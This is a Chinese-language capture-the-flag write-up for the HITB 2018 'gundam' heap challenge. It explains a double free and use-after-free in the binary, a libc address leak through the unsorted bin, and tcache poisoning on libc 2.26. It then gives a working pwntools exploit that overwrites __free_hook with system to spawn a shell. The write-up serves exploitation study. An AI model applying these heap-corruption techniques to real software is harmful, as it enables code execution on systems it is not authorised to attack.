hitb2018_gundam

1.常规checksec,保护全开。IDA打开找漏洞,在删除函数sub_D32()中存在Double free和UAF漏洞:

img

通过逆向分析,结构体重整化:

1
2
3
4
5
6
7
8
9
10
#注释头

struct gundam
{
int flag;
char *name;
char type[24];
}gundam;

struct gundam* factory[9]

之后如下:

img

(1)Double free:可以看到在删除函数中,程序通过factory[idx]和count来判断gundam是否存在,并且只是free掉了factory[idx]->name这个chunk,并且将flag置空,但是并没有将factory[idx]这个指针置空。而且这是在Tcache机制下,没有对Double free的检查,那么就代表如果其实我们是可以连续多次free掉factory[idx]->name这个chunk的。

(2)UAF:另外factory[idx]->name这个指针也没有置空,可以通过factory[idx]再次利用,形成UAF漏洞。

2.思考利用方式:由于libc版本是2.26,从unsortedbins中申请回的chunk如果不被程序更改内容,其fd和bk仍然保存,可以泄露地址。由于build的时候,没有将name这个chunk的内容初始化为0,所以该chunk如果进入unsortedbin中之后,fd被赋值为main_arena+88,那么申请回来之后,name中的bk就带有main_arena+88的地址,可以通过visit打印出来,从而计算得到,泄露libc基地址。

(1)那么先填满tcache之后,再加个chunk,使其进入unsorted bin中,然后申请回来就可以得到libc地址了。

(2)得到libc地址后,由于libc版本是2.26,仍然存在tcache poisoning漏洞,就可以通过Double free漏洞进行类似fastbins attack攻击。

1
2
3
4
5
6
7
8
#注释头

假如申请chunk0,chunk1,然后连续free(chunk0)两次,这样tcache bin中就是:
chunk0.fd ->chunk0,即chunk0->chunk0
那么第一次申请回chunk0,修改fd为fakechunk,tcache bin中就是:
chunk0.fd->fakechunk,即chunk0->fakechunk
之后再申请回chunk0,再申请一次就是fakechunk了,实现任意地址修改。
★这个漏洞在libc2.27及之后就被修复了,即不能连续free(chunk0)两次,否则程序直接崩溃。

①先申请三个chunk,chunk0,chunk1,chunk2,chunk1存放binsh字符串,chunk2用来防止被topchunk吞并。之后释放chunk0两次,那么tcache中的chunk0的fd指针就会指向自己,形成:chunk0->chunk0。

②之后再申请一个chunk,对应索引为0,申请回第一个chunk0,修改name内容__free_hook_addr,而name内容的前八个字节就是chunk0的fd,即tcachebin中就会由之前的chunk0->chunk0变为chunk0->__free_hook_addr

③再连续申请两个chunk,对应索引为3,4,chunk4的头地址就会是__free_hook_addr-0x10,那么修改chunk4的name中的前八个字节就相当于修改_free_hook,这里使其变为system的真实地址,再free(chunk_binsh)即可getshell。

3.编写exp:

(1)前置增删改查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def build(name):
io.sendlineafter(' :', "1")
io.sendafter(' :', name)
io.sendlineafter(' :', "1")

def visit():
io.sendlineafter(' :', "2")

def destory(idx):
io.sendlineafter(' :', "3")
io.sendlineafter(":", str(idx))

def blow():
io.sendlineafter(' :', "4")

(2)泄露地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

#创建9个chunk,再删除9个chunk,7个进入tcache,1个进入unsortedbin,1个进入topchunk,这里由于有个0x28的gundam_chunk在,所以不会全部都进入topchunk
for i in xrange(9):
build("AAAA")
for i in xrange(9):
destory(i)
blow()
#为了清空count

#清空tcachebin之后再申请一个chunk就是unsortedbin中的
for i in xrange(7):
build('BBBBBBBB')
build('CCCCCCCC')

#leak:
visit()
main_arena = 0x3dac20
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 88 - main_arena
success("libc -> {:#x}".format(libc.address))

(3)清空count,方便计算索引:

1
2
3
4
5
#注释头

for i in xrange(8):
destory(i)
blow()

(4)利用tcache poisoning和double free漏洞,getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

build("0000")
build("/bin/sh\0")
build("2222")
destory(0)
destory(0)
build(p64(libc.sym['__free_hook']))
build("/bin/sh\0")
build(p64(libc.sym['system']))
destory(1)#1或者3都可以

io.interactive()

▲这个泄露地址的漏洞在没有tcache机制的libc版本中都可以用,但是tcache poisoning只有libc2.26才可以用

参考资料:

ctf-all-in-one